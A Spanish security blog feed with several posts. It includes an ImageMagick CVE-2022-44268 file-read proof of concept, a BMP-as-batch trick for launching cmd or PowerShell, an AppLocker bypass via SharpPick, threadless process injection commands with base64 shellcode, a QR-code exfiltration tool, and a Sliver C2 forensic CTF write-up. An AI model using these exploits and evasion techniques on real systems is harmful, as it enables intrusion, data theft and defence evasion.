Quantcast
Channel: hackplayers
Viewing all 1664 articles
Browse latest View live

ImageMagick: la vulnerabilidad oculta detrás de tus imágenes online

$
0
0

Recientemente se han descubierto dos vulnerabilidades en ImageMagick 7.1.0-49: un DoS (CVE-2022-44267) y un Information Disclosure (CVE-2022-44268). Nos vamos a centrar en esta última ya que creo que es bastante más interesante.

Cuando se agrega un fragmento de texto (por ejemplo, tEXt), si la palabra clave es la cadena "profile" (sin comillas), ImageMagick interpreta la cadena de texto como un nombre de archivo y carga el contenido como un profile sin procesar (si el binario de ImageMagick tiene permisos para leerlo). 

El resultado es que un atacante podría aprovechar ésto para leer arbitrariamente ficheros de un servidor que utiliza ImageMagick para procesar imágenes...

La PoC es además supersencilla.

1.- Primero instalamos las dependencias:

$ apt-get install pngcrush imagemagick exiftool exiv2 -y

2.- Añadimos el chunk de texto con el nombre del fichero que queremos leer:
$ pngcrush -text a "profile""/etc/hosts" hacker.png 
Recompressing IDAT chunks in hacker.png to pngout.png
   Total length of data found in critical chunks            =    319742
   Best pngcrush method        =  10 (ws 15 fm 6 zl 9 zs 1) =    328105
CPU time decode 0.043105, encode 0.648451, other 0.002684, total 0.696421 sec
Opcionalmente comprobamos que se ha añadido correctamente:
$ exiv2 -pS pngout.png
STRUCTURE OF PNG FILE: pngout.png
 address | chunk |  length | data                           | checksum
       8 | IHDR  |      13 | ............                   | 0x7b1a43ad
      33 | iCCP  |     388 | ICC profile..(.}.=H.@.._SKE+.v | 0xa0c670f3
     433 | pHYs  |       9 | ...#...#.                      | 0x78a53f76
     454 | tIME  |       7 | ......3                        | 0xbb153466
     473 | zTXt  |   16389 | Raw profile type exif..x...Y.$ | 0x289c8fc7
   16874 | iTXt  |    3354 | XML:com.adobe.xmp.....<?xpacke | 0xf1deb764
   20240 | IDAT  |  328048 | x...Y.$Y.&..r...r7...=.\..2... | 0xe5c57ae2
  348300 | tEXt  |      18 | profile./etc/hosts             | 0xc560a843
  348330 | IEND  |       0 |                                | 0xae426082

3.- Ahora tratamos la imagen con ImageMagick para explotar la vulnerabilidad, en el ejemplo simplemente con el comando convert pero en un entorno real podría detonarse simplemente subiéndo la imágen a un servidor vulnerable:
$ convert pngout.png oculto.png
convert-im6.q16: keyword "Raw profile type ": bad character '0x20' `oculto.png' @ warning/png.c/MagickPNGWarningHandler/1668.

Y ya está, ahora simplemente vemos el contenido incrustado en la imagen resultante (te lo resalto en amarillo):

$ identify -verbose oculto.png
Image:
  Filename: oculto.png
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: DirectClass
  Geometry: 512x512+0+0
  Resolution: 118.11x118.11
  Print size: 4.33494x4.33494
  Units: PixelsPerCentimeter
  Colorspace: sRGB
  Type: TrueColor
  Base type: Undefined
  Endianness: Undefined
  Depth: 8-bit
  Channel depth:
    red: 8-bit
    green: 8-bit
    blue: 8-bit
  Channel statistics:
    Pixels: 262144
    Red:
      min: 0  (0)
      max: 255 (1)
      mean: 88.2626 (0.346128)
      standard deviation: 73.5068 (0.288262)
      kurtosis: -0.553267
      skewness: 0.75696
      entropy: 0.960805
    Green:
      min: 0  (0)
      max: 255 (1)
      mean: 120.885 (0.474058)
      standard deviation: 90.0684 (0.35321)
      kurtosis: -1.5098
      skewness: 0.223454
      entropy: 0.953738
    Blue:
      min: 0  (0)
      max: 255 (1)
      mean: 130.047 (0.50999)
      standard deviation: 85.4641 (0.335153)
      kurtosis: -1.51198
      skewness: 0.0835374
      entropy: 0.971014
  Image statistics:
    Overall:
      min: 0  (0)
      max: 255 (1)
      mean: 113.065 (0.443392)
      standard deviation: 83.0131 (0.325542)
      kurtosis: -1.33275
      skewness: 0.359084
      entropy: 0.961852
  Rendering intent: Perceptual
  Gamma: 0.454545
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Background color: white
  Border color: srgb(223,223,223)
  Matte color: grey74
  Transparent color: black
  Interlace: None
  Intensity: Undefined
  Compose: Over
  Page geometry: 512x512+0+0
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Orientation: Undefined
  Profiles:
    Profile-icc: 672 bytes
  Properties:
    date:create: 2023-02-05T18:35:18+00:00
    date:modify: 2023-02-05T18:35:18+00:00
    exif:BitsPerSample: 8, 8, 8
    exif:ColorSpace: 1
    exif:DateTime: 2023:02:05 12:24:50
    exif:ExifOffset: 190
    exif:ImageLength: 512
    exif:ImageWidth: 512
    exif:Software: GIMP 2.10.30
    exif:thumbnail:BitsPerSample: 8, 8, 8
    exif:thumbnail:Compression: 6
    exif:thumbnail:ImageLength: 256
    exif:thumbnail:ImageWidth: 256
    exif:thumbnail:JPEGInterchangeFormat: 328
    exif:thumbnail:JPEGInterchangeFormatLength: 13885
    exif:thumbnail:PhotometricInterpretation: 6
    exif:thumbnail:SamplesPerPixel: 3
    icc:copyright: Public Domain
    icc:description: GIMP built-in sRGB
    icc:manufacturer: GIMP
    icc:model: sRGB
    png:bKGD: chunk was found (see Background color, above)
    png:cHRM: chunk was found (see Chromaticity, above)
    png:iCCP: chunk was found
    png:IHDR.bit-depth-orig: 8
    png:IHDR.bit_depth: 8
    png:IHDR.color-type-orig: 2
    png:IHDR.color_type: 2 (Truecolor)
    png:IHDR.interlace_method: 0 (Not interlaced)
    png:IHDR.width,height: 512, 512
    png:pHYs: x_res=11811, y_res=11811, units=1
    png:text: 23 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-02-05T18:35:18Z
    Raw profile type:

     220
3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a
0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c65
20666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d
6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c
6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a66663032
3a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f7574
6572730a


    signature: 1218350006b7307477b7ba227324971bbf78de7a384d3ab2c12b0984f6fade13
    unknown: 1
  Artifacts:
    filename: oculto.png
    verbose: true
  Tainted: False
  Filesize: 340862B
  Number pixels: 262144
  Pixels per second: 26.1417MB
  User time: 0.010u
  Elapsed time: 0:01.010
  Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org

¿Lo has visto verdad? En hexadecimal...
$ python3 -c 'print(bytes.fromhex("texto_en_hexadecimal").decode("utf-8"))'
$ python3 -c 'print(bytes.fromhex("3132372e302e302e31096c6f63616c686f73740a3132372e302e312e31096b79616b750a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3120202020206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666530303a3a30206970362d6c6f63616c6e65740a666630303a3a30206970362d6d636173747072656669780a666630323a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f75746572730a").decode("utf-8"))'
127.0.0.1    localhost
127.0.1.1    kyaku

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


Fuentes:   

Cómo ejecutar cmd.exe o powershell.exe con una imagen renombrada a .bat

$
0
0

Si algo caracteriza al hacking es la creatividad a la hora de encontrar caminos alternativos para alcanzar un destino que a priori no es alcanzable... y hoy traemos un buen ejemplo. 

Se trata de un post de Rickard en el que utiliza el algoritmo de codificación a la hora de guardar imágenes BMP de 24 bits, aprovechando las conversiones de los colores RGB a datos ASCII para llamar a cualquier ejecutable, renombrando previamente la imagen a un .bat eso sí. 

En cristiano... podemos usar una imagen .bmp para ejecutar por ejemplo cmd.exe o powershell.exe y evadiendo así algunos controles.

En el post de tzusec tenéis paso a paso como crear la imagen con Paint... pixel a pixel. ¿Qué pereza no? Si no quieres dejarte los ojos puedes utilizar un simple script en Python con Pillow por ejemplo:

from PIL import Image

# Crea una imagen 1x6
img = Image.new('RGB', (6,1), (0,0,0))
pixels = img.load()

# Configura los valores RGB para cada pixel
pixels[0,0] = (10, 0, 0)
pixels[1,0] = (13, 10, 13)
pixels[2,0] = (100, 109, 99)
pixels[3,0] = (120, 101, 46)
pixels[4,0] = (0, 0, 101)
pixels[5,0] = (0, 0, 0)

# Guarda la imagen en un Bitmap de 24-bits
img.save('6pixels.bmp', format='bmp')


Y ahora veréis que estos 6 inofensivos pixeles:


si lo renombramos a .bat y ejecutamos nos abrirá un cmd.exe: 


y lo mismo con powershell:
from PIL import Image

# crea una imagen con una fila de 6 pixels
width = 6
height = 1

# Define los valores RGB para cada pixel
pixels = [(10, 0, 0), (13, 10, 13), (119, 111, 112), (115, 114, 101), (108, 101, 104), (0, 0, 108)]

# Crea el objeto imagen
img = Image.new("RGB", (width, height), "white")

# Pon los valores RGB en la image
img.putdata(pixels)

# Guarda la imagen en formato Bitmap de 24-bit
img.save("6pixels.bmp", format="BMP")

Increíble verdad... pues otro truquito más para el arsenal ;)

Crónica de #hc0n2023, la quinta Con de Hackplayers

$
0
0

Como decía recientemente KaoRz, en 2017 me liaron bien para empezar una conferencia con varias sesiones técnicas reuniendo colegas con el pegamento de Hackplayers y, efectivamente, se nos fue de las manos... 


Desde los comienzos en Universidad Politécnica hasta este fin de semana en la Nave han pasado 6 años y 5 ediciones y ninguna edición ha sido precisamente algo pequeño (al menos para nosotros humildemente), es más, casi por inercia hemos ido añadiendo elementos nuevos sumergiéndonos en una espiral de más y más trabajo. Y creedme que aunque somos una asociación sin ánimo de lucro y ninguno de los miembros del staff ganamos dinero con ésto, tanto organizadores como colaboradores, la responsabilidad es una losa que pesa, que levantamos con la ilusión de lo que hacemos a base de esfuerzo y restar horas de sueño y tiempo libre. Que sarna con gusto no pica, de acuerdo, pero que no quita que haya un tremendo recorrido de sonrisas y lágrimas entre bambalinas. Que para que se abra el telón y puedan actuar los ponentes haya meses y meses de preparación de una obra orquestada por voluntarios. Y quería empezar con este teatro de la llorería como lo voy a terminar, pidiendo valorar tal labor altruista, agradeciendo a todos aquellos que lo hicieron posible, unos aportando más que otros, pero todos aportando algo como ocurre en la vida misma. 

 

 

Y ya sumergiéndonos en la obra de esta quinta edición no voy a describir una a una cada sesión porque este año aumentamos el contenido con respecto al anterior y hay muchas y variadas, este post sería demasiado extenso digno de un chatbot GPT-3. Pero no os preocupéis porque en breve subiré a la web de h-c0n el material que me pasen los ponentes, los verdaderos protagonistas como he repetido varias veces sin cansarme. Los actores de nuestra humilde producción que nos ofrecieron charlas y talleres de la máxima calidad y por lo que estamos infinitamente agradecidos pues, quería reseñar, lo hacen sin beneficio económico a cambio. Además tened en cuenta que cada presentación fue hecha con mimo y llevó seguro horas y horas de investigación y dedicación anterior y que muchos ponentes (dependiendo de la experiencia y la personalidad de cada uno por supuesto) también tuvieron que hacer frente a esa dilación entre los nervios y la responsabilidad del que se tiene que subir al escenario. En cualquier caso pienso que todos ellos finalizaron su actuación contentos y satisfechos y que fue algo recíproco de cara al público.

Por supuesto también quería agradecer a ese público que sois los asistentes, que en esta edición nos habéis vuelto a sorprender volviendo agotar semanas antes las entradas. Aprovecho también para pedir disculpas a todos los que llegasteis tarde y os quedasteis fuera pero teníamos que ser responsables con el aforo. Y a los que si fuisteis espero que disfrutarais no sólo con los ponentes si no también con los expositores en la Nave Central, con patrocinadores, colaboradores, otras comunidades y congresos y otras sorpresas y retos que animaron h-c0n y la hicieron más participativa. Seguro que todos ya sabíais antes, o si no lo habréis ya descubierto, que estos eventos son también una oportunidad de reencontrarse con viejos y nuevos amigos unidos en nuestro caso por la misma pasión.

¿Qué nos tocará en 2024? ¿En qué casilla de la ruleta caeremos? "Audentes fortuna iuvat". Ya se verá, de momento os recomiendo estar pendientes de la web en 2023 donde iré subiendo contenidos de la que, ya es historia, la V edición de h-c0n, la conferencia de hacking e inseguridad informática de Hackplayers. 

Solución al reto Sliver Forensics de #hc0n2023

$
0
0

El siguiente writeup corresponde a un reto de categoría forense que preparé para el CTF de nuestra conferencia h-c0n de 2023. Se basaba en uno que vi en Immersive Labs y concretamente en una infección con un implante de Sliver, un framework de Comando y Control (C2) de código abierto que imagino que ya conoceréis todos porque es bastante popular. El escenario planteado en el reto era el siguiente: 

En cristiano: "Un juaker se adelantó a nosotros y consiguió leer la flag del reto por medio de una víctima a la que infectó con un beacon de Sliver.
Sin embargo nuestro departamento forense hizo los deberes y capturó tráfico y dumpeo la memoria del proceso sospechoso. ¿Podrías obtener la flag a partir de ellos?"


Y bajo esta descripción adjuntábamos la captura de tráfico HTTP (sliver.pcapng) y un dump del proceso de la máquina comprometida (pid.10880.dmp.7z)...

El implante de Sliver, como muchas de estas herramientas, se conecta con la infra del atacante utilizando una variedad de protocolos, siempre intentando mimetizarse en el entorno para no ser detectado. En nuestro caso tráfico HTTP, que es el que veremos al abrir la captura de tráfico con Wireshark, Sliver hace esto de diferentes maneras.

En primer lugar, Sliver usa peticiones HTTP con rutas que parecen bastante normales. Estas son generadas aleatoriamente por el implante a partir de una lista de URLs que los atacantes pueden personalizar para que se mezclen aún más. Los mensajes de sesión y de intercambio de claves usan extensiones .html y .php de manera predeterminada, y los de polling utilizan extensiones .js y nombres como 'bootstrap' y 'jquery'. Lo vemos en detalle y exportamos todos los objetos HTTP (File \ Export Objects \ HTTP):

Luego otro poco de teoría: los implantes de Sliver seleccionan aleatoriamente un método de codificación para un conjunto particular de mensajes. Esto es importante porque es posible que un implante no contenga rutinas de codificación para todos los métodos admitidos por el servidor C2. Para evitar que esto cause problemas, el servidor C2 responderá con el mismo método de codificación utilizado por el implante.

En la actualidad Sliver implementa nueve métodos de codificación diferentes. El método viene identificado y se agrega a cada URL generada en un parámetro de consulta nombrado con un solo carácter y formado por entre ocho y diez caracteres, la mayoría de los cuales serán dígitos. Para identificar el método de codificación, el servidor elimina cualquier parte no numérica del llamado nonce, luego toma el módulo del número restante con 101. Para solicitudes legítimas, esto dará uno de los siguientes valores, conocido como la ID del codificador:

  •  13: indica codificación Base64
  •  22: indica codificación PNG
  •  31: indica codificación en inglés
  •  43: indica codificación Base58
  •  45: indica codificación en inglés comprimido con Gzip
  •  49: indica codificación Gzip
  •  64: indica codificación Base64 comprimida con Gzip
  •  65: indica codificación Base32
  •  92: indica codificación hexadecimal

Dicho esto ya sabéis lo que tenemos que hacer: el mod 101 para saber el encoder usado en cada post que el beacon randomiza:

¡13! ya sabemos que tenemos algunas peticiones encodeadas en b64

Otra cosa muy importante que debemos saber es que para los métodos de codificación Base64 y Base32, Sliver utiliza un alfabeto personalizado. Esto significa que las herramientas de línea de comandos normales de Linux y las bibliotecas predeterminadas para lenguajes de programación no funcionarán para decodificar estos datos sin hacer algunos reemplazos de caracteres.

def decode_b64(slv_data):
    """Uses the modifed alphabet from Sliver C2 to decode Base64"""
    decoded = b''
    table = slv_data.maketrans(base64_modified, base64_standard)
    std_data = slv_data.translate(table)
    decoded = base64.standard_b64decode(std_data + b'==')
    return decoded
Independientemente de cómo se codifiquen los datos, el resultado de la decodificación será un blob binario de datos cifrados. Las primeras peticiones de un implante serán intercambio de claves, haciendo uso de la clave ECC pública del servidor, la clave privada del implante y un código de contraseña de un solo uso (TOTP) basado en tiempo. El implante genera una clave de sesión mientras que el servidor verifica esto enviando una ID de sesión de regreso al implante, encriptado usando la clave de sesión. Los detalles completos del cifrado de transporte se pueden encontrar en https://github.com/BishopFox/sliver/wiki/Transport-Encryption.

Una vez que se ha completado el intercambio de claves, todos los mensajes entre el servidor y el implante se cifran con la clave de sesión. Por necesidad, esta clave está presente en la memoria, por lo que puede extraerse de los volcados de memoria tomados de la máquina víctima.

Las claves de sesión son cadenas aleatorias de 32 bytes y, a veces, se pueden detectar buscando diferentes patrones asociados con ellas al examinar un volcado de memoria. Un ejemplo de patrón es la cadena WinHttpGetDefaultProxyConfiguration, que a menudo va seguida de otro patrón en el que la clave comienza con x00\n seguida de una cadena aleatoria de 32 bytes que termina en \x00. Traducido a expresión regular:

(.{32}[^\x00]{3}\x00\xc0\x00)

Es decir, 32 bytes de datos, seguidos de tres bytes de datos no nulos, seguidos de un byte nulo, un byte establecido en C0 y luego otro byte nulo. Cada implante Sliver específico tiene un conjunto distinto de tres bytes no nulos, pero todas las copias de la clave relacionadas con un implante específico tendrán el mismo conjunto.

Resumiendo, necesitamos un script que decodifique en base64 (con el alfabeto de Sliver), busque patrones en la memoria de esa manera obteniendo un montón de posibles claves e intente descifrarlo. Dado que no calcula la tag de autenticación, "descifrará" cualquier dato, pero en la mayoría de los casos, esto será incorrecto. Para manejar esto, el script intenta descomprimir los datos resultantes. Si el paso de descompresión funciona, se supone que se ha encontrado la clave correcta.

Al final todo este rollo es para explicaros el decryptor a continuación:
import argparse
import base64
import gzip
import re
import string

from binascii import hexlify, unhexlify

from chacha20poly1305 import ChaCha20Poly1305


encoders = {

    13: "b64",
    31: "words",
    22: "png",
    43: "b58",
    45: "gzip-words",
    49: "gzip",
    64: "gzip-b64",
    65: "b32",
    92: "hex"

}

base64_standard = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base64_modified = b"a0b2c5def6hijklmnopqr_st-uvwxyzA1B3C4DEFGHIJKLM7NO9PQR8ST+UVWXYZ"

base32_standard = b'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
base32_modified = b'ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz'


def decode_nonce(nonce_value):
    """Takes a nonce value from a HTTP Request and returns the encoder that was used"""
    nonce_value = int(re.sub('[^0-9]','', nonce_value))
    encoder_id = nonce_value % 101
    return encoders[encoder_id]


def decode_b64(slv_data):
    """Uses the modifed alphabet from Sliver C2 to decode Base64"""
    decoded = b''
    table = slv_data.maketrans(base64_modified, base64_standard)
    std_data = slv_data.translate(table)
    decoded = base64.standard_b64decode(std_data + b'==')
    return decoded


def decode_b32(slv_data):
    """Uses the modifed alphabet from Sliver C2 to decode Base32"""
    decoded = b''
    table = slv_data.maketrans(base32_modified, base32_standard)
    std_data = slv_data.translate(table)
    decoded = base64.standard_b64decode(std_data + b'==')
    return decoded


def decode_words(word_list):
    """Decodes the sliver English Words Encoder without needing a wordlist"""
    decoded = []
    for word in word_list.split():

        value = 0
        for char in word.decode():
            value += ord(char)
        value = value %256
        decoded.append(value)

    return bytes(decoded)


def decrypt_chacha(key, data):
    cip = ChaCha20Poly1305(key)
    nonce = data[:12]
    ciphertext = data[12:]
    return cip.decrypt(nonce, ciphertext)


def parse_output(decrypted):
    print('[=] Raw Output')
    print(decrypted)
    clean_output = ''

    for char in decrypted:
        char = chr(char)
        if char in string.printable:
            clean_output += char
    print('[=] ASCII Output Only')
    print(clean_output)


def main(key, mode, data, force):

    if mode == 'hex':
        cipher_text = unhexlify(data)
    elif mode == 'words':
        cipher_text = decode_words(data)
    elif mode == 'b64':
        cipher_text = decode_b64(data)
    elif mode == 'b32':
        cipher_text = decode_b32(data)

    if force:
        print(f'[+] Finding all possible keys in {force}')
        with open(args.force, 'rb') as input_file:
            file_data = input_file.read()
            /** This is going to be a large list **/
            possible_keys = re.findall(b'(.{32}[^\x00]{3}\x00\xc0\x00)',file_data, re.DOTALL)

        /** Dedup **/
        possible_keys = list(dict.fromkeys(possible_keys))

        print(f'  [-] Found {len(possible_keys)} possible keys')

    else:
        possible_keys = [unhexlify(key)]

    success = False
    for chacha_key in possible_keys:
        chacha_key = chacha_key[:32]

        if b'\x00\x00\x00' in chacha_key:
            /** Statistcly unlikely to be a valid key **/
            continue
        try:
            decrypted = decrypt_chacha(chacha_key, cipher_text)
            uncompressed = gzip.decompress(decrypted)

            if uncompressed:
                print(f'  [-] Found key: {hexlify(chacha_key)}')
                /** Dont process any more keys **/
                success = True
                parse_output(uncompressed)
                break

        except Exception as err:
            pass
    if not success:
        print('[!] Unable to find a valid key for encoded data!')



if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Sliver C2 Decryptor')

    parser.add_argument(
        '--key',
        help='Session Key extracted from memory as hex',
        required=False)

    parser.add_argument(
        '--encoder',
        help='Encoding Mode',
        choices=['hex', 'words', 'b64', 'b32'],
        required=True
    )

    parser.add_argument(
        '--file_path',
        help='path to file with encoded data',
        required=True
    )

    parser.add_argument(
        '--verbose',
        help='show all decoding steps (Noisy)',
        required=False
    )

    parser.add_argument(
        '--force',
        help='Brute Force Key given a procdump file',
        required=False,
        default=False
    )

    args = parser.parse_args()


    with open(args.file_path, 'rb') as input_file:
        file_data = input_file.read()


    main(args.key, args.encoder, file_data, args.force)

Ya entendiendo cómo funciona y con el script bruteforceamos con los post http (anteriormente exportados) y el dump del proceso. Lanzamos desde el directorio correspondiente:

# 7z x pid.10880.dmp.7z 

# for f in *; do echo ${f} && python3 ../silver-decrypt.py --file_path ${f} --encoder b64 --force ../pid.10880.dmp; done;
api.php%3fa=52778270
[+] Finding all possible keys in ../pid.10880.dmp
  [-] Found 10511 possible keys
  [-] Found key: b'2e11303ca4d4c03fe7a829a0164be69927d325e59c0a87472bb63c12b8b3c2d0'
[=] Raw Output
b'\x10^\x1a(\n$e8d91221-b612-4a98-96e2-800871ff8596\x18P'
[=] ASCII Output Only
^(
$e8d91221-b612-4a98-96e2-800871ff8596P
api.php%3fk=82740728
[+] Finding all possible keys in ../pid.10880.dmp
  [-] Found 10511 possible keys
  [-] Found key: b'2e11303ca4d4c03fe7a829a0164be69927d325e59c0a87472bb63c12b8b3c2d0'
[=] Raw Output
b'\x10^\x1a(\n$e8d91221-b612-4a98-96e2-800871ff8596\x18@'
[=] ASCII Output Only
^(
$e8d91221-b612-4a98-96e2-800871ff8596@
api.php%3fl=4828250l8
[+] Finding all possible keys in ../pid.10880.dmp
^C^Z
[2]+  Stopped                

¡Bingo!! pues ya tenemos la clave. Ahora conseguimos en claro las peticiones con la key obtenida
# for f in *; do echo ${f} && python3 ../silver-decrypt.py --file_path ${f} --encoder b64 --key 2e11303ca4d4c03fe7a829a0164be69927d325e59c0a87472bb63c12b8b3c2d0; done | grep hc0nCTF

y ¡voilà! ya vemos la flag entre las mismas:


Espero que os haya gustado el reto. Para mí bastante complicado y difícil si no lo maneja un forense experimentado que se haya peleado anteriormente con Sliver....

¡Hasta el próximo!

QRExfiltrate: exfiltrando info mediante un QR code animado

$
0
0

¡Ojo a esta herramienta! QRExfiltrate es una utilidad que permite convertir cualquier archivo binario en un GIF QRcode. Luego, los datos se pueden volver a ensamblar visualmente, lo que permite la exfiltración de datos en sistemas aislados (air-gapped). Fue diseñado como una prueba de concepto para demostrar las debilidades del software DLP; es decir, la suposición de que los datos saldrán del sistema por correo electrónico, memorias USB u otros medios.

La herramienta funciona tomando un archivo binario y convirtiéndolo en una serie de imágenes de códigos QR. Luego, estas imágenes se combinan en un archivo GIF que se puede volver a ensamblar fácilmente con cualquier lector de códigos QR estándar. Esto permite que los datos se exfiltren sin detección de la mayoría de los sistemas DLP.

Uso

Para usar QRExfiltrate, abrir una línea de comandos y navegar hasta el directorio que contiene los scripts de QRExfiltrate.
Despues se puede ejecutar el siguiente comando para convertir un archivo binario en un QRcode GIF:

./encode.sh ./draft-taddei-ech4ent-introduction-00.txt salida.gif

Demo

encode.sh <inputfile>

Donde <inputfile> es la ruta al archivo binario que desea convertir, y <outfile>, si no se especifica ningún resultado, se usa output.gif es la ruta al archivo GIF de salida deseado.
Una vez que se completa el comando, obtendrás un archivo GIF que contiene los datos del archivo binario.
Luego se puede transferir este archivo GIF como se desee y volver a ensamblar los datos utilizando cualquier lector de código QR estándar.

Proyecto: https://github.com/Shell-Company/QRExfil

SharpPick o cómo ejecutar código de PowerShell a través de ensamblados .NET

$
0
0

Algunas veces entramos en un sistema y nos encontramos con la siguiente sorpresita:

Si, el dichoso AppLocker nos bloquea el acceso a powershell.exe... 

Pero no decaigas amigo atacante, todavía hay formas de ejecutar comandos en PowerShell. ¿Cómo? Pues simplemente creando un ejecutable que implemente funciones de System.Management.Automation.dll.

Empezamos con el viejo SharpPick, que podemos encontrar en el proyecto PowerShellEmpire, y que con sólo unas pocas líneas de código nos permite ejecutar powershell a través de .NET assemblies.

Si echáis un vistazo a la función RunPS es superbásico pero eficaz. Primero inicializa un RunspaceInvoker y un Pipeline, como se muestra a continuación:

Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
Luego agrega la entrada del usuario como argumento, llama al método Invoke y guarda la salida en una colección PSObject:
pipeline.Commands.AddScript(cmd);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
Finalmente, la función itera a través de la colección PSObject, agrega los resultados a un objeto StringBuilder y devuelve la cadena resultante:
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
   stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
Ahora para usarlo simplemente tenemos que compilarlo con MSBuild:
c:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SharpPick.csproj

Para probarlo preparamos por ejemplo un script prueba.ps1 con :

Get-Module -ListAvailable | Select -Property Name | Out-File C:\Users\vis0r\Desktop\Modules.txt
Llamamos al script y ya lo tenemos
SharpPick.exe -f script.ps1

¿Fácil verdad? Pues otra forma cocinada por nosotros mediante la instancia Powershell sería la siguiente:

  1. Agrega una referencia a System.Management.Automation.dll en tu proyecto.
  2. Crea una instancia de PowerShell utilizando la clase PowerShell del espacio de nombres System.Management.Automation.
  3. Agrega los comandos de PowerShell que deseas ejecutar utilizando el método AddCommand de la instancia de PowerShell.
  4. Ejecuta los comandos de PowerShell utilizando el método Invoke de la instancia de PowerShell.

Finalmente, te muestro un ejemplo de cómo ejecutar el comando Get-ChildItem (equivalente al comando dir en la línea de comandos) utilizando el siguiente código:

using System;
using System.Management.Automation;

class Program
{
    static void Main(string[] args)
    {
        // Crear una instancia de PowerShell
        PowerShell ps = PowerShell.Create();

        // Agregar el comando Get-ChildItem
        ps.AddCommand("Get-ChildItem");

        // Ejecutar el comando y obtener los resultados
        var results = ps.Invoke();

        // Imprimir los resultados
        foreach (var result in results)
        {
            Console.WriteLine(result.ToString());
        }
    }
}


MalDev práctico: Threadless Process Injection

$
0
0

 Si recordáis una inyección de procesos incluía una serie de pasos típicos:
 1/ controlar el proceso de destino:

  •      OpenProcess

 2/ asignar memoria ejecutable en el proceso remoto

  •      VirtualAllocEx
  •      NtMapViewOfSection
  •      Code Caves

 3/ copiar el shellcode en el proceso asignado

  •      WriteProcessMemory
  •      Copia directa después de NtMapViewOfSection
  •      Atom Bombing
  •      Ghost Writing

 4/ ejecutar el shellcode como parte del proceso de destino

  •      CreateRemoteThread
  •      NtQueueApcThread
  •      Thread manipulation
    • SuspendThread
    • SetThreadContext
    • ResumeTherad
  •      Stack Bombing ROP Chains
  •      Callback overwriting     

 Solo vimos los básicos en uno de nuestros posts, pero más adelante cubriremos otros de los listados... En cualquier caso, cada uno de esos métodos en conjunción pueden generar una alerta porque los EDRs están monitorizando si ocurre alguna sucesión de estos eventos, además de que muchos se apoyan también en EtwTI.
 
Hoy vamos a ver una técnica que puede inyectar y ejecutar código en un proceso remoto sin algunos de estos indicadores comunes. Se trata de Threadless Process Injection de Ceri Coburn (@_EthicalChaos_), co-mantenedor de Rubeus y autor de BOF.NET, SweetPotato, SharpBlock entre otros. Los pasos con esta técnica dentro de un layout típico de memoria de un proceso serían los siguientes:

  • Asignar nuestro hook code
  • Ejecutar el shellcode dentro de un memory hole de nuestra DLL exportada
  • Parchear la función exportada para el CALL del hook
  • Esperar la actividad del proceso legítimo para llamar a la API hookeada

Código del hook

  • La primera instrucción de exportación de la DLL hookeada llama (CALL) a nuestro código de hook
  • La dirección de retorno se extrae de la pila y se resta 5 para darnos nuestra dirección de exportación original que se hookeó
  • Guardamos los registros volátiles en la pila, ya que deberán restaurarse antes de llamar a la función original.
  • Restauramos el código de la función de exportación original para que el hook ya no esté presente
  • Se realiza una llamada de función relativa al shellcode inyectado (inmediatamente después del código del hook)
  • Una vez que se ejecuta el shellcode inyectado, restauramos todos los registros volátiles
  • Finalmente restauramos la dirección de exportación original y el jmp, manteniendo el comportamiento previsto del programa inyectado.

Y para las pruebas yo usé una implementación en Python (tenéis también la opción original en C#). Echad un vistazo al repo:
https://github.com/rkbennett/pyThreadlessInject
Ayuda

python .\threadlessinject.py -h
Ejecución básica (usa el shellcode calc.exe por defecto)
python .\threadlessinject.py -d ntdll.dll -e NtTerminateProcess -p 10184 
Ejecución de un shellcode encodeado en base64
python .\threadlessinject.py -d ntdll.dll -e NtTerminateProcess -p 10184 -r U1ZXVVRYZoPk8FBqYFpoY2FsY1RZSCnUZUiLMkiLdhhIi3YQSK1IizBIi34wA1c8i1wXKIt0HyBIAf6LVB8kD7csF41SAq2BPAdXaW5Fde+LdB8cSAH+izSuSAH3mf/XSIPEaFxdX15bww==
Ejecución de un shellcode desde un archivo
python .\threadlessinject.py -d ntdll.dll -e NtTerminateProcess -p 10184 -f c:\Users\IEUser\Downloads\shellcode.bin
PoC (cerrando notepad.exe)

Fuentes:

Serie MalDev práctico:

5 distribuciones de Linux orientadas al hacking y la ciberseguridad

$
0
0

Satanic Linux fue una de las primeras distribuciones de Linux centradas en la seguridad informática. La distribución fue creada en 1999 por "Mojo" y un grupo de hackers de Argentina que querían una distribución de Linux que incluyera una gran cantidad de herramientas de hacking y seguridad informática como Nmap, Snort, John the Ripper, entre otras.  

